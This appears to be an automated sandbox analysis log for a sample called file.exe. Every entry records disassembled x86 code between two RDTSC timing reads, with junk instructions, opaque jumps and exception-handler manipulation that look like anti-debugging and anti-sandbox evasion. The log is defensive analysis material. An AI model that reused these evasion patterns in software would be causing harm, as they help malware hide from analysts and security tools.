Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37B57 second address: B37BD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8AA8B7BB96h 0x0000000e popad 0x0000000f nop 0x00000010 mov esi, dword ptr [ebp+122D3AC8h] 0x00000016 push 00000000h 0x00000018 mov edi, dword ptr [ebp+122D2888h] 0x0000001e push 00000000h 0x00000020 call 00007F8AA8B7BB90h 0x00000025 sub dword ptr [ebp+122D290Bh], edi 0x0000002b pop edi 0x0000002c push eax 0x0000002d pushad 0x0000002e jmp 00007F8AA8B7BB99h 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F8AA8B7BB92h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B386D4 second address: B386E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F8AA8C154C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3921D second address: B39224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B39C0B second address: B39C11 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C949 second address: B3C94F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C94F second address: B3C965 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8AA8C154CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A4F4 second address: B3A50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8AA8B7BB86h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F8AA8B7BB8Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C965 second address: B3C970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8AA8C154C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C970 second address: B3C975 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CEB5 second address: B3CEB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3DF83 second address: B3DF8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3DF8D second address: B3DF91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3DF91 second address: B3DFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007F8AA8B7BBA3h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 xor dword ptr [ebp+122D2588h], esi 0x00000018 adc edi, 787F7445h 0x0000001e push 00000000h 0x00000020 pushad 0x00000021 jns 00007F8AA8B7BB8Ch 0x00000027 mov si, E620h 0x0000002b popad 0x0000002c mov edi, dword ptr [ebp+1245245Ah] 0x00000032 xchg eax, esi 0x00000033 push ecx 0x00000034 jng 00007F8AA8B7BB8Ch 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E229 second address: B3E22E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42205 second address: B42209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42209 second address: B42221 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42221 second address: B42228 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED90F second address: AED91C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8AA8C154C6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED91C second address: AED93E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jbe 00007F8AA8B7BB92h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED93E second address: AED977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8AA8C154C6h 0x0000000a pushad 0x0000000b jmp 00007F8AA8C154D3h 0x00000010 jmp 00007F8AA8C154D9h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4384A second address: B4384E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B429CB second address: B429D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4384E second address: B43852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B429D0 second address: B429E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007F8AA8C154E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B447D0 second address: B447D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43A56 second address: B43A60 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B447D4 second address: B447E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F8AA8B7BB86h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43A60 second address: B43A7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8AA8C154D7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43A7C second address: B43A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43A88 second address: B43AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D25DCh], edi 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F8AA8C154C8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e jl 00007F8AA8C154D0h 0x00000034 pushad 0x00000035 push esi 0x00000036 pop esi 0x00000037 mov ebx, dword ptr [ebp+122D3C7Ch] 0x0000003d popad 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 mov edi, 350734D7h 0x0000004a mov eax, dword ptr [ebp+122D0181h] 0x00000050 jnp 00007F8AA8C154C6h 0x00000056 push FFFFFFFFh 0x00000058 push esi 0x00000059 mov edi, 79D9F4B3h 0x0000005e pop edi 0x0000005f or dword ptr [ebp+12480A27h], ebx 0x00000065 nop 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a push ecx 0x0000006b pop ecx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43AF9 second address: B43AFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B457D4 second address: B457D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43AFF second address: B43B05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43B05 second address: B43B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46899 second address: B4689F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4689F second address: B468BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push 00000000h 0x0000000b mov ebx, 35DF9C00h 0x00000010 push eax 0x00000011 jp 00007F8AA8C154D4h 0x00000017 pushad 0x00000018 jc 00007F8AA8C154C6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47A4C second address: B47AA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8AA8B7BB97h 0x00000008 jmp 00007F8AA8B7BB90h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov dword ptr [ebp+1245DC08h], esi 0x00000019 push 00000000h 0x0000001b mov edi, dword ptr [ebp+12462029h] 0x00000021 push 00000000h 0x00000023 mov ebx, dword ptr [ebp+122D277Ah] 0x00000029 push edx 0x0000002a jnl 00007F8AA8B7BB8Ch 0x00000030 pop ebx 0x00000031 push eax 0x00000032 push edi 0x00000033 push eax 0x00000034 push edx 0x00000035 push edi 0x00000036 pop edi 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4996E second address: B499EB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F8AA8C154C8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D3A00h] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007F8AA8C154C8h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 00000018h 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a push 00000000h 0x0000004c jmp 00007F8AA8C154D3h 0x00000051 xchg eax, esi 0x00000052 push edi 0x00000053 pushad 0x00000054 jc 00007F8AA8C154C6h 0x0000005a pushad 0x0000005b popad 0x0000005c popad 0x0000005d pop edi 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push esi 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B499EB second address: B499F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49B83 second address: B49BAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F8AA8C154D9h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BABA second address: B4BABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BABF second address: B4BAEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154D3h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8AA8C154CDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BAEB second address: B4BAF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BC5D second address: B4BC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154D7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BC79 second address: B4BC97 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8AA8B7BB8Ch 0x00000008 jbe 00007F8AA8B7BB86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jp 00007F8AA8B7BB88h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BC97 second address: B4BD22 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov dword ptr [ebp+122D2978h], ebx 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F8AA8C154C8h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a push eax 0x0000003b jmp 00007F8AA8C154CBh 0x00000040 pop edi 0x00000041 mov eax, dword ptr [ebp+122D175Dh] 0x00000047 push 00000000h 0x00000049 push esi 0x0000004a call 00007F8AA8C154C8h 0x0000004f pop esi 0x00000050 mov dword ptr [esp+04h], esi 0x00000054 add dword ptr [esp+04h], 00000017h 0x0000005c inc esi 0x0000005d push esi 0x0000005e ret 0x0000005f pop esi 0x00000060 ret 0x00000061 mov edi, dword ptr [ebp+1247EE68h] 0x00000067 push FFFFFFFFh 0x00000069 xor dword ptr [ebp+122D277Ah], edx 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jns 00007F8AA8C154C8h 0x00000078 push edi 0x00000079 pop edi 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DAF7 second address: B4DB41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8AA8B7BB96h 0x0000000f nop 0x00000010 mov bl, 0Bh 0x00000012 push 00000000h 0x00000014 xor dword ptr [ebp+124517A4h], eax 0x0000001a push 00000000h 0x0000001c mov dword ptr [ebp+122D24C3h], ebx 0x00000022 push eax 0x00000023 jbe 00007F8AA8B7BB90h 0x00000029 pushad 0x0000002a push edx 0x0000002b pop edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4CD40 second address: B4CD45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4CD45 second address: B4CD5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 je 00007F8AA8B7BB86h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F8AA8B7BB88h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4CD5C second address: B4CD67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F8AA8C154C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B53E63 second address: B53E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B53E68 second address: B53E77 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8AA8C154C8h 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B555B9 second address: B555C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B555C0 second address: B555CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B555CD second address: B555D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B555D3 second address: B555E2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jl 00007F8AA8C154C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58D6F second address: B58D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58D75 second address: B58D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58D7D second address: B58D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8AA8B7BB86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5849F second address: B584A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8AA8C154C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B584A9 second address: B584B9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B584B9 second address: B584BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B584BD second address: B584C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B584C1 second address: B584FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a push eax 0x0000000b jmp 00007F8AA8C154D7h 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F8AA8C154D3h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B584FA second address: B58500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58664 second address: B58668 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58668 second address: B58672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58672 second address: B58676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58945 second address: B58958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 je 00007F8AA8B7BB8Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58958 second address: B5895D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DA71 second address: B5DA79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E6DA second address: B5E6E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E6E7 second address: B5E6EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E6EB second address: B5E715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F8AA8C154CCh 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 jnl 00007F8AA8C154C6h 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e ja 00007F8AA8C154C6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E715 second address: B5E740 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 ja 00007F8AA8B7BB88h 0x0000001a push edi 0x0000001b pop edi 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 pushad 0x00000023 jns 00007F8AA8B7BB86h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E90C second address: B5E920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E920 second address: B5E924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60B6C second address: B60B76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8AA8C154C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62D9A second address: B62DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62DA4 second address: B62DAA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62DAA second address: B62DDF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8AA8B7BB8Fh 0x00000008 jmp 00007F8AA8B7BB97h 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jng 00007F8AA8B7BB9Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B42 second address: B67B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8AA8C154C6h 0x0000000a popad 0x0000000b pushad 0x0000000c push ebx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F8AA8C154C6h 0x00000018 rdtsc
